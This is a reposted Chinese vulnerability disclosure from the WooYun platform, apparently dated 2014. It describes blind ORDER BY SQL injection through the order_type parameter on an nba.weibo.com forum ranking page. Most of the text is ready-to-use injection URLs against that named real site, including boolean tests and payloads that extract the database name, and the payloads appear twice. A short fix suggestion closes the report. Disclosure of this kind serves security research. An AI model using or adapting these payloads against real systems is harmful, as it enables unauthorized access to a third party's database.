记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

新浪微博某站sql盲注

2014-09-22 03:45

存在漏洞的url,参数是order_type

http://nba.weibo.com/forum/fans/rank_list?forum_id=7&order_field=post_num&order_type=DESC

主要是order by 型注入

http://nba.weibo.com/forum/fans/rank_list?forum_id=7&order_field=post_num&order_type=DESC,if((1=1),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc#  //返回正确



weibo1.PNG



http://nba.weibo.com/forum/fans/rank_list?forum_id=7&order_field=post_num&order_type=DESC,if((1=2),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc# //返回错误



weibo2.PNG





这样我们就可以进行盲注了

http://nba.weibo.com/forum/fans/rank_list?forum_id=7&order_field=post_num&order_type=DESC,if((length(database())=3),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc# //返回正确

http://nba.weibo.com/forum/fans/rank_list?forum_id=7&order_field=post_num&order_type=DESC,if((mid(database(),1,3)='nba'),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc# //返回正确





可以得到数据库为nba

漏洞证明:

存在漏洞的url,参数是order_type

http://nba.weibo.com/forum/fans/rank_list?forum_id=7&order_field=post_num&order_type=DESC

主要是order by 型注入

http://nba.weibo.com/forum/fans/rank_list?forum_id=7&order_field=post_num&order_type=DESC,if((1=1),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc#  //返回正确



weibo1.PNG



http://nba.weibo.com/forum/fans/rank_list?forum_id=7&order_field=post_num&order_type=DESC,if((1=2),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc# //返回错误



weibo2.PNG





这样我们就可以进行盲注了

http://nba.weibo.com/forum/fans/rank_list?forum_id=7&order_field=post_num&order_type=DESC,if((length(database())=3),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc# //返回正确

http://nba.weibo.com/forum/fans/rank_list?forum_id=7&order_field=post_num&order_type=DESC,if((mid(database(),1,3)='nba'),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc# //返回正确





可以得到数据库为nba

修复方案:

过滤order_type参数,可以限制order by 后参数的长度在一定范围内

知识来源: www.wooyun.org/bugs/wooyun-2014-071498

阅读:67439 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“新浪微博某站sql盲注”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云